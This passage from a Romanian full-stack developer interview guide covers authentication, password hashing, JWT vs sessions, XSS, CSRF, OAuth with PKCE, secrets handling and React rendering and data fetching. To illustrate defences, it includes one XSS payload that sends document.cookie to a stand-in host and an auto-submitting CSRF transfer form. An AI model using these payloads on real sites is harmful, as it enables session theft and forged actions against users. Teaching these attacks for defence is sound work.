requireAuth face autentificarea și pune req.user; verificarea din handler este autorizarea.

Pentru un full-stack, ideea importantă este că ascunderea unui buton în React nu este autorizare. Interfața poate ascunde ce nu e relevant pentru utilizator, dar decizia reală se ia pe server, la fiecare cerere, pentru că oricine poate apela API-ul direct. Cea mai frecventă vulnerabilitate din aplicațiile web este tocmai controlul de acces lipsă sau greșit.

Ce urmărește intervievatorul: Întrebarea de bază verifică dacă separi clar cele două concepte. Candidații slabi le confundă sau consideră că ascunderea elementelor din interfață este suficientă.

37 Junior

Cum stochezi parolele utilizatorilor în baza de date?

Răspuns scurt: Niciodată în clar și niciodată cu un hash rapid precum MD5 sau SHA-256 simplu. Folosești un algoritm lent, făcut pentru parole, precum Argon2id, bcrypt sau scrypt, care adaugă automat un salt unic pentru fiecare parolă.

Scopul este ca, dacă baza de date este furată, parolele să fie cât mai greu de recuperat.

  • Hash, nu criptare: criptarea se poate inversa cu cheia; un hash nu. La login, calculezi hash-ul parolei introduse și îl compari cu cel salvat.
  • Salt: o valoare aleatoare unică pentru fiecare utilizator, combinată cu parola înainte de hash. Fără salt, doi utilizatori cu aceeași parolă au același hash, iar atacatorul poate folosi tabele precalculate.
  • Algoritm lent și configurabil: SHA-256 este proiectat să fie rapid, deci un atacator cu plăci video poate testa un număr enorm de parole pe secundă. Argon2id, bcrypt și scrypt au un factor de cost care face fiecare încercare scumpă, iar Argon2id este și „memory-hard”, adică cere multă memorie.
JavaScript
import bcrypt from 'bcrypt';

const hash = await bcrypt.hash(password, 12); // 12 = factorul de cost
// salvezi hash-ul; saltul este inclus în el
const ok = await bcrypt.compare(attempt, user.passwordHash);

Alte detalii: bcrypt folosește doar primii 72 de octeți ai parolei; folosește variantele asincrone ale funcțiilor, ca să nu blochezi event loop-ul; la login, mesajul de eroare e același pentru email inexistent și parolă greșită, ca să nu dezvălui ce conturi există. Pentru resetarea parolei, folosești un token aleator cu durată scurtă, salvat tot ca hash, nu trimiți parola pe email.

Ce urmărește intervievatorul: Intervievatorul verifică un minim de securitate obligatoriu pentru orice backend. Greșelile tipice sunt SHA-256 fără salt sau confuzia dintre hash și criptare.

38 Junior

Care e diferența dintre autentificarea cu sesiune pe server și cea cu JWT?

Răspuns scurt: La sesiune, serverul păstrează starea (într-un store precum Redis sau baza de date), iar browserul are doar un id opac în cookie. JWT este un token semnat care conține datele utilizatorului, verificat fără stocare pe server, dar greu de invalidat înainte de expirare.

Sesiune pe server

  • La login, serverul creează o înregistrare { sessionId, userId, expiresAt } și trimite Set-Cookie: sid=...; HttpOnly; Secure; SameSite=Lax.
  • La fiecare cerere, caută sesiunea după id.
  • Pro: logout instant (ștergi sesiunea), poți vedea și închide sesiunile active, cookie-ul nu conține date.
  • Contra: ai nevoie de un store comun (Redis) dacă rulezi mai multe instanțe; o căutare la fiecare cerere.

JWT (JSON Web Token)

  • Are trei părți codificate base64url: header, payload (de exemplu { "sub": "42", "role": "user", "exp": 1767225600 }) și semnătură.
  • Serverul verifică semnătura cu o cheie secretă (HS256) sau cu o cheie publică (RS256, ES256) și are încredere în payload fără să întrebe baza de date.
  • Pro: nu e nevoie de store comun, potrivit când mai multe servicii trebuie să verifice tokenul.
  • Contra: nu poți revoca ușor un token înainte de exp; dacă rolul utilizatorului se schimbă, tokenul vechi încă spune altceva; payload-ul nu este criptat, oricine îl poate citi.
JavaScript
import jwt from 'jsonwebtoken';
const token = jwt.sign({ sub: user.id }, process.env.JWT_SECRET, { expiresIn: '15m' });
const payload = jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });

Pentru o aplicație web clasică, cu un singur backend, sesiunile cu cookie sunt adesea alegerea mai simplă și mai sigură. JWT-urile cu durată scurtă, plus un refresh token, sunt potrivite pentru aplicații mobile și pentru sisteme cu mai multe servicii. Un JWT poate fi trimis și într-un cookie, deci mecanismul de transport e o decizie separată.

Ce urmărește intervievatorul: Se verifică dacă înțelegi compromisurile, nu dacă știi că JWT „e modern”. Greșeala frecventă este credința că JWT e criptat sau că se poate invalida la logout fără nimic în plus.

39 Junior

Unde păstrezi tokenul de autentificare în browser: localStorage sau cookie HttpOnly?

Răspuns scurt: Un cookie HttpOnly, Secure și SameSite nu poate fi citit de JavaScript, deci nu poate fi furat printr-un atac XSS, dar cere protecție împotriva CSRF. Un token în localStorage e simplu de trimis în headerul Authorization, dar orice script injectat îl poate citi.

Ambele variante au riscuri; diferă tipul de atac la care ești expus.

localStorage (sau sessionStorage)

  • Frontendul citește tokenul și îl pune în Authorization: Bearer ....
  • Nu este trimis automat, deci nu există CSRF.
  • Dar dacă pe pagină rulează un script străin (XSS, o dependență npm compromisă, un script de analytics atacat), acesta poate citi localStorage.getItem('token') și îl poate trimite oriunde. Atacatorul folosește apoi tokenul de pe calculatorul lui până la expirare.

Cookie HttpOnly

  • Tokenul sau id-ul de sesiune nu e accesibil din JavaScript, deci un XSS nu îl poate exfiltra.
  • Este trimis automat, ceea ce deschide posibilitatea CSRF; o atenuezi cu SameSite=Lax sau Strict și, pentru cazurile sensibile, cu un token CSRF.
  • Necesită aceeași origine sau o configurare CORS cu credentials.

Recomandarea curentă pentru aplicațiile web este cookie-ul HttpOnly, ideal cu frontendul și API-ul pe același site (de exemplu app.exemplu.ro și api.exemplu.ro, sau API-ul servit sub /api prin reverse proxy).

Trebuie spus și că un cookie HttpOnly nu face XSS-ul inofensiv: scriptul injectat poate face cereri din pagina utilizatorului, iar cookie-ul pleacă automat. Doar că nu poate fura sesiunea pentru folosire ulterioară. Apărarea de bază rămâne prevenirea XSS. O variantă intermediară este ținerea access tokenului doar în memorie (o variabilă), cu refresh token într-un cookie HttpOnly.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că știi exact ce atac favorizează fiecare variantă. Răspunsurile slabe spun că una e „sigură”, iar cealaltă „nesigură”, fără nuanțe.

40 Junior

Ce este XSS și cum te aperi de el, atât în React, cât și pe server?

Răspuns scurt: XSS (Cross-Site Scripting) apare când date controlate de un atacator ajung să fie executate ca script în pagina altui utilizator. Te aperi prin escaparea datelor la afișare, evitând inserarea de HTML brut, sanitizând HTML-ul permis și adăugând un Content-Security-Policy.

Exemplu: un utilizator își pune la nume <img src=x onerror="fetch('https://rau.example/?c='+document.cookie)">. Dacă pagina afișează numele ca HTML, codul rulează în browserul fiecărui vizitator.

Tipuri: stored (salvat în baza de date și afișat altora), reflected (venit din URL și reflectat în răspuns) și DOM-based (codul de frontend inserează date nesigure în DOM).

În React, JSX-ul escapează automat textul: <p>{user.name}</p> afișează literal caracterele, nu le interpretează. Riscurile apar când ocolești acest mecanism:

JSX
<div dangerouslySetInnerHTML={{ __html: comment.html }} />  // periculos
<a href={user.website}>site</a>  // periculos dacă e javascript:...

Dacă trebuie să afișezi HTML (un editor de text bogat), îl sanitizezi cu o bibliotecă precum DOMPurify și validezi URL-urile să înceapă cu http: sau https:.

Pe server:

  • la randarea HTML (SSR, template-uri) folosești escaparea automată a motorului de șabloane;
  • nu introduce date în blocuri <script> fără serializare sigură (de exemplu la injectarea stării inițiale în SSR);
  • trimite headerul Content-Security-Policy, care spune browserului de unde are voie să încarce scripturi; o politică fără unsafe-inline blochează majoritatea scripturilor injectate;
  • cookie-uri HttpOnly, ca un eventual XSS să nu poată fura sesiunea;
  • X-Content-Type-Options: nosniff; biblioteca helmet setează mai multe astfel de headere.

Validarea la intrare ajută, dar apărarea principală este escaparea în funcție de contextul de afișare.

Ce urmărește intervievatorul: Se verifică dacă știi unde React te protejează și unde nu. Greșeala tipică este afirmația că „React face aplicația imună la XSS”.

41 Junior

Ce este un atac CSRF și cum protejezi o aplicație care folosește cookie-uri de sesiune?

Răspuns scurt: CSRF (Cross-Site Request Forgery) înseamnă că un site rău intenționat face browserul utilizatorului să trimită o cerere către aplicația ta, iar browserul atașează automat cookie-ul de sesiune. Te protejezi cu SameSite pe cookie, tokenuri CSRF și verificarea headerului Origin.

Scenariul: utilizatorul e autentificat pe banca.example. Vizitează un alt site care conține:

HTML
<form action="https://banca.example/api/transfer" method="POST">
  <input name="to" value="atacator"><input name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>

Browserul trimite formularul și, fără protecție, atașează cookie-ul de sesiune. Serverul vede o cerere autentificată validă. Atacatorul nu poate citi răspunsul, dar nici nu are nevoie, efectul s-a produs.

Apărări:

  • SameSite=Lax sau Strict pe cookie-ul de sesiune: browserul nu mai trimite cookie-ul la POST-urile inițiate de alte site-uri. Este apărarea principală azi, implicită (Lax) în browserele moderne pentru cookie-urile fără atribut, dar setează-l explicit.
  • Token CSRF (synchronizer token sau double submit cookie): serverul dă o valoare aleatoare, pe care frontendul o trimite într-un header sau într-un câmp ascuns. Site-ul atacatorului nu o poate citi, deci nu o poate include.
  • Verificarea headerelor Origin/Referer pentru cererile care modifică date.
  • Cerință de header personalizat sau de JSON: un formular HTML simplu nu poate trimite Content-Type: application/json sau un header ca X-Requested-With fără să declanșeze preflight CORS, pe care serverul îl respinge.
  • GET-urile nu modifică niciodată date, pentru că SameSite=Lax permite cookie-ul la navigarea GET.

Dacă autentificarea se face exclusiv cu un token trimis manual în headerul Authorization, CSRF nu se aplică, pentru că browserul nu atașează tokenul automat.

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi mecanismul, adică trimiterea automată a cookie-urilor. Candidații confundă des CSRF cu XSS sau cred că CORS îl previne singur.

42 Mid

Explică fluxul cu access token și refresh token. Cum îl implementezi pe frontend fără ca utilizatorul să fie delogat la fiecare 15 minute?

Răspuns scurt: Access tokenul are durată scurtă și se trimite la fiecare cerere; refresh tokenul are durată lungă, stă într-un cookie HttpOnly și servește doar la obținerea unui access token nou. Frontendul prinde răspunsurile 401, face un singur refresh, apoi reia cererile care au eșuat.

De ce două tokenuri: un access token furat e util atacatorului doar câteva minute, iar refresh tokenul circulă doar către un singur endpoint și poate fi revocat din baza de date.

Pe server:

  • POST /auth/login întoarce access tokenul (de exemplu 15 minute) și setează refresh tokenul în cookie HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh;
  • POST /auth/refresh verifică refresh tokenul, îl caută în baza de date, emite o pereche nouă și îl invalidează pe cel vechi (rotație). Dacă un refresh token deja folosit apare din nou, e semn de furt: revoci toată familia de tokenuri a acelei sesiuni.

Pe frontend, un wrapper peste fetch care evită refresh-urile multiple simultane:

JavaScript
let refreshing = null;

async function api(url, init = {}) {
  const call = () => fetch(url, {
    ...init,
    headers: { ...init.headers, Authorization: 'Bearer ' + accessToken }
  });
  let res = await call();
  if (res.status !== 401) return res;
  refreshing ??= fetch('/auth/refresh', { method: 'POST', credentials: 'include' })
    .then(async (r) => {
      if (!r.ok) throw new Error('session_expired');
      accessToken = (await r.json()).accessToken;
    })
    .finally(() => { refreshing = null; });
  await refreshing;
  return call();
}

Dacă zece cereri primesc 401 deodată, toate așteaptă aceeași promisiune de refresh în loc să trimită zece refresh-uri (care, cu rotație, s-ar invalida reciproc). Dacă refresh-ul eșuează, golești starea și trimiți utilizatorul la login. Access tokenul îl ții de preferat în memorie, nu în localStorage.

Ce urmărește intervievatorul: Se verifică experiența practică cu un flux pe care multe aplicații îl implementează greșit. Problema concretă căutată este refresh-ul declanșat în paralel de mai multe cereri.

43 Mid

Cum funcționează „Login cu Google” (OAuth 2.0 și OpenID Connect) și de ce se folosește PKCE?

Răspuns scurt: Aplicația trimite utilizatorul la Google, care îl autentifică și cere consimțământul, apoi îl redirecționează înapoi cu un cod temporar. Serverul tău schimbă codul pe tokenuri. PKCE leagă codul de cel care a pornit fluxul, ca un cod interceptat să nu poată fi folosit de altcineva.

OAuth 2.0 este un protocol de autorizare delegată (aplicația primește acces la ceva în numele utilizatorului). OpenID Connect adaugă peste el autentificarea, printr-un id_token (un JWT cu identitatea utilizatorului).

Fluxul Authorization Code cu PKCE:

  • Aplicația generează un code_verifier aleator și calculează code_challenge = BASE64URL(SHA256(verifier)). Generează și un state aleator, salvat în sesiune.
  • Redirecționează către furnizor: https://accounts.google.com/o/oauth2/v2/auth?client_id=...&redirect_uri=https://app.ro/auth/callback&response_type=code&scope=openid email profile&state=...&code_challenge=...&code_challenge_method=S256.
  • Utilizatorul se autentifică la Google (aplicația ta nu vede niciodată parola) și acceptă.
  • Google redirecționează la redirect_uri?code=...&state=.... Verifici că state coincide, ceea ce previne CSRF pe callback.
  • Backendul trimite code, code_verifier și, pentru clienții confidențiali, client_secret la endpointul de token și primește id_token (plus access_token dacă ai nevoie de API-urile Google).
  • Validezi id_token (semnătură, iss, aud, exp), cauți sau creezi utilizatorul după sub (identificatorul stabil, nu emailul) și pornești sesiunea ta obișnuită.

PKCE este esențial pentru clienții care nu pot păstra un secret (aplicații mobile, SPA-uri), dar e recomandat și pentru aplicațiile cu server. Un cod interceptat (de exemplu de o altă aplicație care a înregistrat aceeași schemă de URL pe telefon) e inutil fără code_verifier. Fluxul vechi „implicit”, care întorcea tokenul direct în URL, nu mai este recomandat.

În practică folosești biblioteci testate (Auth.js, Passport, openid-client) sau un furnizor de identitate, nu implementezi protocolul de la zero.

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi rolul fiecărui pas, nu doar că ai instalat o bibliotecă. Greșelile frecvente sunt ignorarea parametrului state și identificarea utilizatorului după email în loc de sub.

44 Mid

Cum protejezi rutele într-o aplicație React și de ce asta nu este suficient pentru securitate?

Răspuns scurt: Pe frontend folosești o componentă sau un loader care verifică dacă utilizatorul e autentificat și are rolul potrivit, altfel redirecționează la login. E doar experiență de utilizare: codul rulează pe calculatorul utilizatorului, deci orice verificare poate fi ocolită, iar datele se protejează pe server.

Un exemplu cu React Router:

JSX
function RequireAuth({ role, children }) {
  const { user, loading } = useAuth();
  const location = useLocation();
  if (loading) return <Spinner />;
  if (!user) return <Navigate to="/login" state={{ from: location }} replace />;
  if (role && user.role !== role) return <Navigate to="/403" replace />;
  return children;
}

<Route path="/admin" element={<RequireAuth role="admin"><AdminPage /></RequireAuth>} />

Detalii care contează:

  • starea de încărcare: la reîncărcarea paginii, aplicația nu știe încă cine e utilizatorul (se face o cerere GET /api/me). Fără loading, utilizatorul e trimis la login pentru o fracțiune de secundă, apoi înapoi.
  • revenirea după login: salvezi ruta inițială în state și redirecționezi acolo după autentificare;
  • în framework-uri cu server (Next.js, Remix), verificarea se poate face înainte de randare, în middleware sau în loader, ceea ce evită afișarea scurtă a conținutului protejat.

De ce nu e securitate: bundle-ul JavaScript, cu tot codul paginii de admin, ajunge în browser; oricine poate modifica starea din DevTools ca să pară admin sau poate apela API-ul direct cu curl. Așadar:

  • fiecare endpoint verifică autentificarea și autorizarea pe server;
  • datele sensibile nu ajung niciodată în răspunsurile unui utilizator care nu are dreptul la ele, chiar dacă interfața nu le afișează;
  • poți încărca leneș (code splitting) zonele de admin, dar e o optimizare, nu o protecție.

Ce urmărește intervievatorul: Se verifică dacă separi experiența utilizatorului de securitate. Greșeala tipică este o rută protejată în React, dar un API care întoarce datele oricui are un token valid.

45 Mid

Ai pus cheia unui API extern într-o variabilă VITE_ din .env. Este în siguranță? Cum gestionezi secretele într-o aplicație full-stack?

Răspuns scurt: Nu. Variabilele cu prefixul VITE_ sunt înlocuite la build direct în bundle-ul JavaScript, deci oricine le poate citi în browser. Secretele stau doar pe server, în variabile de mediu sau într-un manager de secrete, iar frontendul apelează un endpoint propriu care folosește cheia.

Vite expune în import.meta.env doar variabilele cu prefixul VITE_ și le înlocuiește textual la build. Similar fac NEXT_PUBLIC_ în Next.js și REACT_APP_ în Create React App. Prefixul există tocmai ca să marchezi explicit ce devine public. Orice ajunge în bundle poate fi văzut în tabul Sources sau Network.

Corect este ca frontendul să cheme backendul tău, iar backendul să folosească cheia:

JavaScript
// server
app.post('/api/translate', requireAuth, rateLimiter, async (req, res) => {
  const r = await fetch('https://api.furnizor.example/translate', {
    method: 'POST',
    headers: { Authorization: 'Bearer ' + process.env.TRANSLATE_API_KEY },
    body: JSON.stringify({ text: req.body.text })
  });
  res.status(r.status).json(await r.json());
});

Avantaj suplimentar: poți limita utilizarea per utilizator, ca nimeni să nu-ți consume bugetul.

Gestionarea secretelor:

  • .env în .gitignore; în repo păstrezi un .env.example fără valori reale;
  • în producție, variabilele vin din platformă (secrete în CI, în Docker sau Kubernetes, în serviciul de hosting) ori dintr-un manager de secrete (AWS Secrets Manager, Vault);
  • validezi la pornire că toate variabilele necesare există, ca aplicația să se oprească imediat, nu la prima cerere;
  • secret ajuns în Git înseamnă secret compromis: îl rotești imediat, ștergerea commitului nu ajunge, pentru că istoricul și forkurile îl păstrează;
  • cheile publice prin natura lor (cheia publică Stripe, id-ul Google Analytics) pot sta pe frontend.

Ce urmărește intervievatorul: Intervievatorul verifică o greșeală foarte comună în proiectele full-stack ale începătorilor. Mulți candidați nu știu că prefixul VITE_ înseamnă public.

46 Senior

Cum ai proiecta autorizarea (roluri și permisiuni) într-o aplicație cu mai multe organizații și cum previi accesul la datele altui client?

Răspuns scurt: Definești permisiuni granulare grupate în roluri, verificate pe server într-un singur loc, și filtrezi fiecare query după organizația utilizatorului. Principala vulnerabilitate de evitat este IDOR: accesarea resursei altcuiva doar prin schimbarea id-ului din URL.

IDOR (Insecure Direct Object Reference): GET /api/invoices/1043 întoarce factura dacă utilizatorul e autentificat, fără să verifice că factura aparține organizației lui. Un atacator încearcă pur și simplu id-uri succesive.

Elementele unui design solid:

  • Permisiuni, nu doar roluri: în cod verifici can(user, 'invoice:approve'), nu user.role === 'admin'. Rolurile (owner, admin, contabil, viewer) sunt seturi de permisiuni. Când apare un rol nou, nu cauți prin tot codul.
  • Un punct central de decizie: o funcție sau un modul de politici (sau biblioteci ca CASL, ori servicii ca OpenFGA pentru relații complexe), apelat din middleware sau din stratul de servicii, nu verificări împrăștiate prin controllere.
  • Izolarea tenantului la nivel de date: fiecare tabel are organization_id, iar stratul de acces la date îl adaugă automat:
SQL
SELECT * FROM invoices WHERE id = $1 AND organization_id = $2;

Organizația vine din sesiunea utilizatorului, niciodată din corpul cererii. PostgreSQL oferă și Row-Level Security, o plasă de siguranță la nivelul bazei de date.

  • 404 în loc de 403 pentru resursele altei organizații, ca să nu confirmi că există.
  • Frontendul primește permisiunile (de exemplu în /api/me), ca să ascundă acțiunile indisponibile, dar fără să fie sursa adevărului.
  • Teste automate pentru acces: pentru fiecare endpoint, un test cu un utilizator din altă organizație care trebuie să eșueze.
  • Audit: loghezi acțiunile sensibile (cine, ce, când).

Merită spus că id-urile greu de ghicit (UUID) reduc riscul, dar nu înlocuiesc verificarea.

Ce urmărește intervievatorul: Se verifică gândirea de securitate la nivel de sistem în aplicații multi-tenant. Răspunsurile slabe se opresc la „middleware de admin” și nu pomenesc izolarea datelor între clienți.

47 Senior

Folosești JWT-uri. Cum implementezi logout-ul, schimbarea parolei și blocarea unui cont compromis înainte să expire tokenul?

Răspuns scurt: Un JWT rămâne valid până la exp, deci ai nevoie de stare pe server: access tokenuri scurte cu refresh tokenuri revocabile, o versiune de token per utilizator verificată la fiecare cerere sau o listă de tokenuri revocate în Redis.

Avantajul JWT, verificarea fără stare, devine dezavantaj când trebuie să retragi accesul imediat. Opțiuni, de obicei combinate:

  • Durată scurtă pentru access token (5-15 minute) și refresh token stocat în baza de date. Logout-ul șterge refresh tokenul; accesul mai durează cel mult până la expirarea access tokenului. Pentru multe aplicații, compromisul e acceptabil.
  • Versiune de token per utilizator: coloana token_version în users, inclusă în JWT. La schimbarea parolei sau la „deloghează-mă de peste tot”, o incrementezi. Middleware-ul compară versiunea din token cu cea curentă, ținută în cache (Redis), ca verificarea să rămână ieftină.
JavaScript
const payload = jwt.verify(token, key, { algorithms: ['RS256'] });
const current = await cache.get('tv:' + payload.sub);
if (Number(current) !== payload.tv) return res.sendStatus(401);
  • Denylist după jti (identificatorul unic al tokenului), cu TTL egal cu timpul rămas până la expirare, deci lista rămâne mică.
  • Sesiuni pe server: dacă ajungi să verifici starea la fiecare cerere, merită întrebat dacă nu e mai simplu să folosești direct sesiuni.

Ce faci la fiecare eveniment:

  • logout: revoci refresh tokenul, ștergi cookie-ul, golești starea din frontend;
  • schimbarea parolei: incrementezi versiunea și revoci toate refresh tokenurile, poate cu excepția sesiunii curente;
  • cont compromis: blocare în baza de date, versiune incrementată, alertă, audit.

Și dacă cheia de semnare e compromisă, o rotești. Cu chei asimetrice publicate prin JWKS și identificate prin kid, poți avea temporar două chei valide.

Ce urmărește intervievatorul: Intervievatorul verifică dacă ai înțeles limitele JWT în producție. Greșeala clasică este „la logout ștergem tokenul din localStorage”, care nu invalidează nimic pe server.

React și randare: SSR, CSR, SSG

48 Junior

Care e diferența dintre CSR, SSR și SSG?

Răspuns scurt: La CSR, serverul trimite un HTML aproape gol și JavaScript-ul construiește pagina în browser. La SSR, HTML-ul complet e generat pe server la fiecare cerere. La SSG, paginile sunt generate o dată, la build, și servite ca fișiere statice.

CSR (de exemplu o aplicație React cu Vite):

  • serverul trimite <div id="root"></div> și bundle-ul JS; browserul îl rulează, face fetch la API și randează;
  • pro: hosting simplu (fișiere statice), navigare foarte fluidă după încărcare, server de API separat;
  • contra: primul conținut apare mai târziu, mai ales pe telefoane slabe; SEO și previzualizările pe rețele sociale sunt mai slabe.

SSR (Next.js, Remix, Nuxt, sau Express cu renderToString):

  • serverul rulează componentele, aduce datele și trimite HTML complet, apoi JavaScript-ul „hidratează” pagina ca să devină interactivă;
  • pro: conținut vizibil rapid, bun pentru SEO, date mereu actuale;
  • contra: ai nevoie de un server Node care rulează la fiecare cerere, mai multă complexitate, cod care trebuie să funcționeze în ambele medii.

SSG:

  • paginile sunt generate la build și puse pe un CDN;
  • pro: cel mai rapid și ieftin de servit, foarte robust;
  • contra: datele sunt cele de la ultimul build; nepotrivit pentru conținut personalizat sau care se schimbă des.

Există și variante intermediare: ISR (Incremental Static Regeneration, pagini statice regenerate periodic sau la cerere) și streaming SSR, care trimite HTML-ul pe bucăți. În practică, o aplicație le combină: pagina de prezentare și blogul statice, catalogul cu SSR, iar panoul de administrare, aflat după login, CSR.

Ce urmărește intervievatorul: Întrebarea arată dacă poți alege modul de randare potrivit pentru fiecare parte a unei aplicații. Greșeala tipică este să crezi că una dintre variante e mereu cea mai bună.

49 Junior

De ce o aplicație React clasică (SPA) poate avea probleme de SEO și cum le rezolvi?

Răspuns scurt: Într-un SPA randat pe client, HTML-ul inițial nu conține textul paginii, titlul și meta-tagurile specifice, așa că unii crawleri și previzualizările de linkuri nu văd conținutul. Soluțiile sunt SSR sau SSG pentru paginile publice, ori prerandarea lor.

Ce primește un crawler de la un SPA clasic:

HTML
<html><head><title>Aplicația mea</title></head>
<body><div id="root"></div><script src="/assets/index-a1b2.js"></script></body></html>

Googlebot poate executa JavaScript, dar randarea se face ulterior, cu resurse limitate, iar dacă datele vin dintr-un API lent sau care eșuează, pagina poate fi indexată incomplet. Alte motoare de căutare și, mai ales, roboții care generează previzualizările de pe Facebook, LinkedIn sau WhatsApp de obicei nu rulează deloc JavaScript, deci arată același titlu generic pentru toate paginile.

Probleme suplimentare: un singur <title> pentru toate rutele, lipsa meta-tagurilor description și Open Graph per pagină, link-uri făcute cu onClick în loc de <a href>, pe care crawlerii nu le urmează, și coduri de status: o pagină inexistentă întoarce tot 200, fiindcă serverul trimite mereu index.html.

Soluții:

  • SSR sau SSG pentru paginile publice (Next.js, Remix, Astro), cu titluri, meta-taguri și date structurate generate pe server;
  • prerandare la build pentru un număr limitat de rute;
  • zona privată rămâne CSR: tabloul de bord după login nu trebuie indexat;
  • <a href> reale pentru navigare, sitemap.xml, URL-uri canonice și un 404 adevărat de la server;
  • performanța contează și ea: Core Web Vitals sunt semnale de clasare.

Concluzia practică: alege modul de randare per tip de pagină, nu per aplicație.

Ce urmărește intervievatorul: Se verifică dacă legi deciziile tehnice de randare de rezultatul de business. Greșeala frecventă este „Google rulează JavaScript, deci nu e nicio problemă”.

50 Junior

Cum aduci date de la API într-o componentă React și ce stări trebuie să tratezi?

Răspuns scurt: Cel mai simplu, cu useEffect și useState: pornești cererea la montare, tratezi stările de încărcare, eroare și succes și anulezi cererea în cleanup. În proiectele reale folosești de obicei o bibliotecă precum TanStack Query, care rezolvă cache-ul, reîncercările și cererile duplicate.

Varianta manuală, corectă:

JSX
function Product({ id }) {
  const [state, setState] = useState({ status: 'loading' });

  useEffect(() => {
    const ctrl = new AbortController();
    setState({ status: 'loading' });
    fetch('/api/products/' + id, { signal: ctrl.signal })
      .then((r) => {
        if (!r.ok) throw new Error('HTTP ' + r.status);
        return r.json();
      })
      .then((data) => setState({ status: 'success', data }))
      .catch((err) => {
        if (err.name !== 'AbortError') setState({ status: 'error', error: err });
      });
    return () => ctrl.abort();
  }, [id]);

  if (state.status === 'loading') return <p>Se încarcă...</p>;
  if (state.status === 'error') return <p>Nu am putut încărca produsul.</p>;
  return <h1>{state.data.name}</h1>;
}

Puncte de discutat:

  • [id] în lista de dependențe reface cererea când se schimbă produsul;
  • cleanup-ul anulează cererea veche. Fără el apare o race condition: utilizatorul trece rapid de la produsul 1 la 2, răspunsul pentru 1 vine ultimul și suprascrie datele corecte;
  • în modul dezvoltare, StrictMode din React 18 și 19 montează componenta de două ori, deci vezi două cereri; cleanup-ul corect face asta inofensiv;
  • trebuie tratată și starea „gol” (lista fără elemente).

Cu TanStack Query:

JSX
const { data, isPending, error } = useQuery({
  queryKey: ['product', id],
  queryFn: ({ signal }) => fetch('/api/products/' + id, { signal }).then((r) => r.json())
});

Primești cache între componente, deduplicare, reîncercări și reîmprospătare automată. În framework-uri cu server (Next.js, Remix), datele se pot aduce înainte de randare, prin loadere sau componente de server.

Ce urmărește intervievatorul: Este baza oricărui frontend care vorbește cu un backend. Intervievatorul caută tratarea erorilor și a race condition-ului, pe care cei mai mulți juniori le omit.

51 Junior

Componenta de mai jos face cereri la API fără oprire. De ce și cum o repari?

JSX
function Orders() {
  const [orders, setOrders] = useState([]);
  useEffect(() => {
    fetch('/api/orders').then((r) => r.json()).then(setOrders);
  });
  return <OrderList items={orders} />;
}

Răspuns scurt: Lipsește lista de dependențe, deci efectul rulează după fiecare randare. Cererea setează starea, setarea stării produce o randare nouă, iar randarea pornește din nou efectul. Soluția este [] ca al doilea argument, ca efectul să ruleze doar la montare.

Fără al doilea argument, useEffect rulează după fiecare randare. Ciclul:

  • componenta se randează și efectul pornește fetch;
  • răspunsul vine, setOrders primește un array nou;
  • un array nou are altă referință, deci React consideră starea schimbată și randează din nou;
  • efectul rulează iar, la nesfârșit.

Pe backend se vede ca un val de cereri identice venite de la un singur utilizator, ceea ce poate declanșa rate limiting sau poate încărca serverul.

Reparația:

JSX
useEffect(() => {
  const ctrl = new AbortController();
  fetch('/api/orders', { signal: ctrl.signal })
    .then((r) => r.json())
    .then(setOrders)
    .catch(() => {});
  return () => ctrl.abort();
}, []);

Variante ale aceluiași bug:

  • o dependență care e un obiect sau o funcție creată la fiecare randare: useEffect(..., [filters]), unde filters = { status: 'paid' } e definit în corpul componentei. Referința e nouă de fiecare dată, deci efectul rulează mereu. Soluții: dependențe primitive (filters.status), useMemo, sau mutarea obiectului în afara componentei;
  • setarea unei stări derivate într-un efect, când ar putea fi calculată direct la randare.

Regula ESLint react-hooks/exhaustive-deps semnalează dependențele lipsă. Iar documentația React recomandă ca, pentru aducerea datelor, să folosești o bibliotecă sau mecanismul framework-ului, nu efecte scrise de mână peste tot.

Ce urmărește intervievatorul: Este un bug foarte frecvent la juniori, iar intervievatorul verifică dacă înțelegi ciclul randare-efect-stare. Un răspuns bun pomenește și dependențele de tip obiect.

52 Junior

Cum construiești în React un formular de înregistrare care trimite datele la API și afișează erorile de validare venite de la server?

Răspuns scurt: Ții valorile în stare (sau cu o bibliotecă precum React Hook Form), validezi rapid pe client, trimiți cu fetch și dezactivezi butonul în timpul cererii. Dacă serverul răspunde cu 422 și erori pe câmpuri, le afișezi sub inputurile corespunzătoare.

JSX
function SignupForm() {
  const [values, setValues] = useState({ email: '', password: '' });
  const [errors, setErrors] = useState({});
  const [submitting, setSubmitting] = useState(false);

  const onChange = (e) => setValues({ ...values, [e.target.name]: e.target.value });

  async function onSubmit(e) {
    e.preventDefault();
    setSubmitting(true);
    setErrors({});
    try {
      const res = await fetch('/api/users', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(values)
      });
      if (res.status === 422) {
        setErrors((await res.json()).error.fields);
        return;
      }
      if (!res.ok) throw new Error();
      navigate('/bun-venit');
    } catch {
      setErrors({ form: ['A apărut o eroare. Încearcă din nou.'] });
    } finally {
      setSubmitting(false);
    }
  }

  return (
    <form onSubmit={onSubmit} noValidate>
      <input name="email" type="email" value={values.email} onChange={onChange}
        aria-invalid={!!errors.email} />
      {errors.email && <p role="alert">{errors.email[0]}</p>}
      <input name="password" type="password" value={values.password} onChange={onChange} />
      {errors.password && <p role="alert">{errors.password[0]}</p>}
      {errors.form && <p role="alert">{errors.form[0]}</p>}
      <button disabled={submitting}>{submitting ? 'Se trimite...' : 'Creează cont'}</button>
    </form>
  );
}

Ce merită subliniat: e.preventDefault() oprește reîncărcarea paginii; butonul dezactivat previne trimiterile duble; validarea de pe client este pentru viteză, iar serverul rămâne sursa de adevăr (de exemplu doar el știe că emailul este deja folosit); formatul de erori al API-ului este cel pe care frontendul se bazează. Pentru formulare mari, React Hook Form împreună cu aceeași schemă Zod de pe server reduce codul repetitiv.

Ce urmărește intervievatorul: Se verifică dacă poți construi o funcționalitate completă de la formular la API. Greșelile tipice sunt lipsa stării de trimitere și afișarea unui singur mesaj generic pentru orice eroare.

53 Junior

Ai făcut build la aplicația React cu Vite. Cum o servești în producție și de ce dă 404 când reîncarci pagina /profil?

